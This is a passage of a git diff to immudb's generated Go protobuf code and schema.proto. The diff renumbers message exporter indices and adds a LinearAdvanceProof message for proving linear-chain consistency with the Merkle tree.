immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 131, // 208: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 15, // 209: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 131, // 210: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 131, // 211: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 117, // 212: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 111, // 213: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 131, // 214: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 131, // 215: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 112, // 216: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 11, // 217: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 131, // 218: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 29, // 219: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 38, // 220: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 18, // 221: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 39, // 222: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 29, // 223: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 22, // 224: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 29, // 225: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 22, // 226: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 27, // 227: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 27, // 228: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 34, // 229: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 38, // 230: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 64, // 231: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 22, // 232: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 48, // 233: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 49, // 234: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 50, // 235: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 51, // 236: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 29, // 237: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 38, // 238: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 29, // 239: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 38, // 240: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 24, // 241: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 131, // 242: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 131, // 243: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 70, // 244: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 86, // 245: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 88, // 246: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 90, // 247: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 101, // 248: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 103, // 249: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 98, // 250: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 131, // 251: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 72, // 252: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 68, // 253: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 74, // 254: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 92, // 255: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 131, // 256: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 105, // 257: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 29, // 258: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 105, // 259: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 38, // 260: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 105, // 261: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 105, // 262: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 105, // 263: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 29, // 264: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 105, // 265: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 29, // 266: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 110, // 267: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 112, // 268: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 112, // 269: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 112, // 270: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 97, // 271: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 202, // [202:272] is the sub-list for method output_type + 132, // [132:202] is the sub-list for method input_type + 132, // [132:132] is the sub-list for extension type_name + 132, // [132:132] is the sub-list for extension extendee + 0, // [0:132] is the sub-list for field type_name } func init() { file_schema_proto_init() } @@ -10574,7 +10659,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DualProof); i { + switch v := v.(*LinearAdvanceProof); i { case 0: return &v.state case 1: @@ -10586,7 +10671,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Tx); i { + switch v := v.(*DualProof); i { case 0: return &v.state case 1: @@ -10598,7 +10683,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TxEntry); i { + switch v := v.(*Tx); i { case 0: return &v.state case 1: @@ -10610,7 +10695,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*KVMetadata); i { + switch v := v.(*TxEntry); i { case 0: return &v.state case 1: @@ -10622,7 +10707,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Expiration); i { + switch v := v.(*KVMetadata); i { case 0: return &v.state case 1: @@ -10634,7 +10719,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableTx); i { + switch v := v.(*Expiration); i { case 0: return &v.state case 1: @@ -10646,7 +10731,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableEntry); i { + switch v := v.(*VerifiableTx); i { case 0: return &v.state case 1: @@ -10658,7 +10743,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*InclusionProof); i { + switch v := v.(*VerifiableEntry); i { case 0: return &v.state case 1: @@ -10670,7 +10755,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SetRequest); i { + switch v := v.(*InclusionProof); i { case 0: return &v.state case 1: @@ -10682,7 +10767,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*KeyRequest); i { + switch v := v.(*SetRequest); i { case 0: return &v.state case 1: @@ -10694,7 +10779,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*KeyListRequest); i { + switch v := v.(*KeyRequest); i { case 0: return &v.state case 1: @@ -10706,7 +10791,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteKeysRequest); i { + switch v := v.(*KeyListRequest); i { case 0: return &v.state case 1: @@ -10718,7 +10803,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableSetRequest); i { + switch v := v.(*DeleteKeysRequest); i { case 0: return &v.state case 1: @@ -10730,7 +10815,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableGetRequest); i { + switch v := v.(*VerifiableSetRequest); i { case 0: return &v.state case 1: @@ -10742,7 +10827,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ServerInfoRequest); i { + switch v := v.(*VerifiableGetRequest); i { case 0: return &v.state case 1: @@ -10754,7 +10839,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ServerInfoResponse); i { + switch v := v.(*ServerInfoRequest); i { case 0: return &v.state case 1: @@ -10766,7 +10851,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*HealthResponse); i { + switch v := v.(*ServerInfoResponse); i { case 0: return &v.state case 1: @@ -10778,7 +10863,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseHealthResponse); i { + switch v := v.(*HealthResponse); i { case 0: return &v.state case 1: @@ -10790,7 +10875,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ImmutableState); i { + switch v := v.(*DatabaseHealthResponse); i { case 0: return &v.state case 1: @@ -10802,7 +10887,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReferenceRequest); i { + switch v := v.(*ImmutableState); i { case 0: return &v.state case 1: @@ -10814,7 +10899,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[49].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableReferenceRequest); i { + switch v := v.(*ReferenceRequest); i { case 0: return &v.state case 1: @@ -10826,7 +10911,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[50].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ZAddRequest); i { + switch v := v.(*VerifiableReferenceRequest); i { case 0: return &v.state case 1: @@ -10838,7 +10923,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[51].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Score); i { + switch v := v.(*ZAddRequest); i { case 0: return &v.state case 1: @@ -10850,7 +10935,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[52].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ZScanRequest); i { + switch v := v.(*Score); i { case 0: return &v.state case 1: @@ -10862,7 +10947,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[53].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*HistoryRequest); i { + switch v := v.(*ZScanRequest); i { case 0: return &v.state case 1: @@ -10874,7 +10959,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[54].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableZAddRequest); i { + switch v := v.(*HistoryRequest); i { case 0: return &v.state case 1: @@ -10886,7 +10971,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[55].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TxRequest); i { + switch v := v.(*VerifiableZAddRequest); i { case 0: return &v.state case 1: @@ -10898,7 +10983,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[56].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*EntriesSpec); i { + switch v := v.(*TxRequest); i { case 0: return &v.state case 1: @@ -10910,7 +10995,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[57].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*EntryTypeSpec); i { + switch v := v.(*EntriesSpec); i { case 0: return &v.state case 1: @@ -10922,7 +11007,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[58].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableTxRequest); i { + switch v := v.(*EntryTypeSpec); i { case 0: return &v.state case 1: @@ -10934,7 +11019,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[59].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TxScanRequest); i { + switch v := v.(*VerifiableTxRequest); i { case 0: return &v.state case 1: @@ -10946,7 +11031,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[60].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*TxList); i { + switch v := v.(*TxScanRequest); i { case 0: return &v.state case 1: @@ -10958,7 +11043,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[61].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ExportTxRequest); i { + switch v := v.(*TxList); i { case 0: return &v.state case 1: @@ -10970,7 +11055,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[62].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReplicaState); i { + switch v := v.(*ExportTxRequest); i { case 0: return &v.state case 1: @@ -10982,7 +11067,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[63].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Database); i { + switch v := v.(*ReplicaState); i { case 0: return &v.state case 1: @@ -10994,7 +11079,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[64].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseSettings); i { + switch v := v.(*Database); i { case 0: return &v.state case 1: @@ -11006,7 +11091,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[65].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CreateDatabaseRequest); i { + switch v := v.(*DatabaseSettings); i { case 0: return &v.state case 1: @@ -11018,7 +11103,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[66].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CreateDatabaseResponse); i { + switch v := v.(*CreateDatabaseRequest); i { case 0: return &v.state case 1: @@ -11030,7 +11115,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[67].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UpdateDatabaseRequest); i { + switch v := v.(*CreateDatabaseResponse); i { case 0: return &v.state case 1: @@ -11042,7 +11127,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[68].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UpdateDatabaseResponse); i { + switch v := v.(*UpdateDatabaseRequest); i { case 0: return &v.state case 1: @@ -11054,7 +11139,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[69].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseSettingsRequest); i { + switch v := v.(*UpdateDatabaseResponse); i { case 0: return &v.state case 1: @@ -11066,7 +11151,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[70].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseSettingsResponse); i { + switch v := v.(*DatabaseSettingsRequest); i { case 0: return &v.state case 1: @@ -11078,7 +11163,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[71].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NullableUint32); i { + switch v := v.(*DatabaseSettingsResponse); i { case 0: return &v.state case 1: @@ -11090,7 +11175,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[72].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NullableUint64); i { + switch v := v.(*NullableUint32); i { case 0: return &v.state case 1: @@ -11102,7 +11187,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[73].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NullableFloat); i { + switch v := v.(*NullableUint64); i { case 0: return &v.state case 1: @@ -11114,7 +11199,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[74].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NullableBool); i { + switch v := v.(*NullableFloat); i { case 0: return &v.state case 1: @@ -11126,7 +11211,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[75].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NullableString); i { + switch v := v.(*NullableBool); i { case 0: return &v.state case 1: @@ -11138,7 +11223,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[76].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NullableMilliseconds); i { + switch v := v.(*NullableString); i { case 0: return &v.state case 1: @@ -11150,7 +11235,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[77].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseNullableSettings); i { + switch v := v.(*NullableMilliseconds); i { case 0: return &v.state case 1: @@ -11162,7 +11247,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[78].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ReplicationNullableSettings); i { + switch v := v.(*DatabaseNullableSettings); i { case 0: return &v.state case 1: @@ -11174,7 +11259,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[79].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*IndexNullableSettings); i { + switch v := v.(*ReplicationNullableSettings); i { case 0: return &v.state case 1: @@ -11186,7 +11271,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[80].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*AHTNullableSettings); i { + switch v := v.(*IndexNullableSettings); i { case 0: return &v.state case 1: @@ -11198,7 +11283,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[81].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*LoadDatabaseRequest); i { + switch v := v.(*AHTNullableSettings); i { case 0: return &v.state case 1: @@ -11210,7 +11295,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[82].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*LoadDatabaseResponse); i { + switch v := v.(*LoadDatabaseRequest); i { case 0: return &v.state case 1: @@ -11222,7 +11307,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[83].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UnloadDatabaseRequest); i { + switch v := v.(*LoadDatabaseResponse); i { case 0: return &v.state case 1: @@ -11234,7 +11319,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[84].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UnloadDatabaseResponse); i { + switch v := v.(*UnloadDatabaseRequest); i { case 0: return &v.state case 1: @@ -11246,7 +11331,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[85].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteDatabaseRequest); i { + switch v := v.(*UnloadDatabaseResponse); i { case 0: return &v.state case 1: @@ -11258,7 +11343,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[86].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DeleteDatabaseResponse); i { + switch v := v.(*DeleteDatabaseRequest); i { case 0: return &v.state case 1: @@ -11270,7 +11355,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[87].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FlushIndexRequest); i { + switch v := v.(*DeleteDatabaseResponse); i { case 0: return &v.state case 1: @@ -11282,7 +11367,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[88].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*FlushIndexResponse); i { + switch v := v.(*FlushIndexRequest); i { case 0: return &v.state case 1: @@ -11294,7 +11379,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[89].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Table); i { + switch v := v.(*FlushIndexResponse); i { case 0: return &v.state case 1: @@ -11306,7 +11391,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[90].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLGetRequest); i { + switch v := v.(*Table); i { case 0: return &v.state case 1: @@ -11318,7 +11403,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[91].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableSQLGetRequest); i { + switch v := v.(*SQLGetRequest); i { case 0: return &v.state case 1: @@ -11330,7 +11415,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[92].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLEntry); i { + switch v := v.(*VerifiableSQLGetRequest); i { case 0: return &v.state case 1: @@ -11342,7 +11427,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[93].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*VerifiableSQLEntry); i { + switch v := v.(*SQLEntry); i { case 0: return &v.state case 1: @@ -11354,7 +11439,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[94].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UseDatabaseReply); i { + switch v := v.(*VerifiableSQLEntry); i { case 0: return &v.state case 1: @@ -11366,7 +11451,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[95].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ChangePermissionRequest); i { + switch v := v.(*UseDatabaseReply); i { case 0: return &v.state case 1: @@ -11378,7 +11463,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[96].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SetActiveUserRequest); i { + switch v := v.(*ChangePermissionRequest); i { case 0: return &v.state case 1: @@ -11390,7 +11475,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[97].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseListResponse); i { + switch v := v.(*SetActiveUserRequest); i { case 0: return &v.state case 1: @@ -11402,7 +11487,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[98].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseListRequestV2); i { + switch v := v.(*DatabaseListResponse); i { case 0: return &v.state case 1: @@ -11414,7 +11499,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[99].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseListResponseV2); i { + switch v := v.(*DatabaseListRequestV2); i { case 0: return &v.state case 1: @@ -11426,7 +11511,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[100].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DatabaseWithSettings); i { + switch v := v.(*DatabaseListResponseV2); i { case 0: return &v.state case 1: @@ -11438,7 +11523,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[101].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Chunk); i { + switch v := v.(*DatabaseWithSettings); i { case 0: return &v.state case 1: @@ -11450,7 +11535,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[102].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*UseSnapshotRequest); i { + switch v := v.(*Chunk); i { case 0: return &v.state case 1: @@ -11462,7 +11547,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[103].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLExecRequest); i { + switch v := v.(*UseSnapshotRequest); i { case 0: return &v.state case 1: @@ -11474,7 +11559,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[104].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLQueryRequest); i { + switch v := v.(*SQLExecRequest); i { case 0: return &v.state case 1: @@ -11486,7 +11571,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[105].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NamedParam); i { + switch v := v.(*SQLQueryRequest); i { case 0: return &v.state case 1: @@ -11498,7 +11583,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[106].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLExecResult); i { + switch v := v.(*NamedParam); i { case 0: return &v.state case 1: @@ -11510,7 +11595,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[107].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*CommittedSQLTx); i { + switch v := v.(*SQLExecResult); i { case 0: return &v.state case 1: @@ -11522,7 +11607,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[108].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLQueryResult); i { + switch v := v.(*CommittedSQLTx); i { case 0: return &v.state case 1: @@ -11534,7 +11619,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[109].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Column); i { + switch v := v.(*SQLQueryResult); i { case 0: return &v.state case 1: @@ -11546,7 +11631,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[110].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Row); i { + switch v := v.(*Column); i { case 0: return &v.state case 1: @@ -11558,7 +11643,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[111].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*SQLValue); i { + switch v := v.(*Row); i { case 0: return &v.state case 1: @@ -11570,7 +11655,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[112].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NewTxRequest); i { + switch v := v.(*SQLValue); i { case 0: return &v.state case 1: @@ -11582,7 +11667,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[113].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*NewTxResponse); i { + switch v := v.(*NewTxRequest); i { case 0: return &v.state case 1: @@ -11594,7 +11679,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[114].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*ErrorInfo); i { + switch v := v.(*NewTxResponse); i { case 0: return &v.state case 1: @@ -11606,7 +11691,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[115].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*DebugInfo); i { + switch v := v.(*ErrorInfo); i { case 0: return &v.state case 1: @@ -11618,7 +11703,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[116].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*RetryInfo); i { + switch v := v.(*DebugInfo); i { case 0: return &v.state case 1: @@ -11630,7 +11715,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[117].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Precondition_KeyMustExistPrecondition); i { + switch v := v.(*RetryInfo); i { case 0: return &v.state case 1: @@ -11642,7 +11727,7 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[118].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Precondition_KeyMustNotExistPrecondition); i { + switch v := v.(*Precondition_KeyMustExistPrecondition); i { case 0: return &v.state case 1: @@ -11654,6 +11739,18 @@ func file_schema_proto_init() { } } file_schema_proto_msgTypes[119].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Precondition_KeyMustNotExistPrecondition); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schema_proto_msgTypes[120].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Precondition_KeyNotModifiedAfterTXPrecondition); i { case 0: return &v.state @@ -11676,7 +11773,7 @@ func file_schema_proto_init() { (*Op_ZAdd)(nil), (*Op_Ref)(nil), } - file_schema_proto_msgTypes[111].OneofWrappers = []interface{}{ + file_schema_proto_msgTypes[112].OneofWrappers = []interface{}{ (*SQLValue_Null)(nil), (*SQLValue_N)(nil), (*SQLValue_S)(nil), @@ -11690,7 +11787,7 @@ func file_schema_proto_init() { GoPackagePath: reflect.TypeOf(x{}).PkgPath(), RawDescriptor: file_schema_proto_rawDesc, NumEnums: 3, - NumMessages: 126, + NumMessages: 127, NumExtensions: 0, NumServices: 1, }, diff --git a/pkg/api/schema/schema.proto b/pkg/api/schema/schema.proto index 13f4628ad7..73a24df389 100644 --- a/pkg/api/schema/schema.proto +++ b/pkg/api/schema/schema.proto @@ -379,6 +379,16 @@ message LinearProof { repeated bytes terms = 3; } +// LinearAdvanceProof contains the proof of consistency between the consumed part of the older linear chain +// and the new Merkle Tree +message LinearAdvanceProof { + // terms for the linear chain + repeated bytes linearProofTerms = 1; + + // inclusion proofs for steps on the linear chain + repeated InclusionProof inclusionProofs = 2; +} + // DualProof contains inclusion and consistency proofs for dual Merkle-Tree + Linear proofs message DualProof { // Header of the source (earlier) transaction @@ -401,6 +411,9 @@ message DualProof { // Linear proof starting from targetBlTxAlh to the final state 